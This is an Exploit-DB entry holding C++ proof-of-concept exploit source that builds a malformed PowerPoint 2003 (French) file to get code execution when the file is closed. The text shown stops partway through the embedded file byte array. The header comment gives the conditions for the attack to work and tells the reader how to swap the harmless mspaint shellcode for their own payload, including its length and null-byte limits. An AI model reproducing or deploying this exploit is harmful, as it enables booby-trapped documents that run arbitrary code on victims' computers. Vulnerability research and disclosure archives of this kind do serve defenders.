Exploit-DB #2091
Description: Microsoft PowerPoint 2003 SP2 (French) - Local Code Execution
Type: local
Platform: windows
Date: 2006-07-30
Author: NSRocket

Exploit:
/*
************************************************************************
*                                                                      *
* 30.07.2006                                                           *
*                                                                      *
*                                                                      *
* NSRocket                                                             *
*                                                                      *
* presents                                                             *
*                                                                      *
*                                                                      *
* Microsoft PowerPoint 2003 SP2 updated (french version) exploit       *
* (tested on WinXP SP2)                                                *
*                                                                      *
************************************************************************
*                                                                      *
* Microsoft PowerPoint is prone to a remote code execution issue which *
* may be triggered when a malformed PPT file is closed.                *
*                                                                      *
*                                                                      *
* Code execution is possible only if these conditions are respected :  *
*                                                                      *
* - One :                                                              *
* [number of characters in PPT file name generated by this program] +  *
* [number of characters in complete path name from which this PPT file *
* is opened] don't exceed 49 bytes !                                   *
*                                                                      *
* - Two :                                                              *
* The generated PPT file must be read-only !                           *
*                                                                      *
* Sorry for this shit but I'm too tired to find another trick to       *
* execute arbitrary code :( ... I need holydays /\/\/\... more skilled *
* people find a better way to do it ;)                                 *
*                                                                      *
*                                                                      *
* Shellcode run "mspaint.exe" to validate exploit and terminate        *
* PowerPoint process. You can replace it but don't forget that it must *
* not contain any null word (2 null bytes) and her length can't exceed *
* 496 bytes.                                                           *
*                                                                      *
*                                                                      *
* This Proof of concept code is for educational purposes only. Please  *
* do not use it against any system without authorization.              *
*                                                                      *
*                                                                      *
*                                                                      *
*                any question goes to john2jenny@hotmail.com  ...bye ! *
*                                                                      *
************************************************************************
*/

#include <string.h>
#include <fstream.h>
#include <stdio.h>
#include <malloc.h>


unsigned char pptfile_p1[]={
0xd0,0xcf,0x11,0xe0,0xa1,0xb1,0x1a,0xe1,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3b,0x00,0x03,0x00,0xfe,0xff,0x09,0x00,
0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x03,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff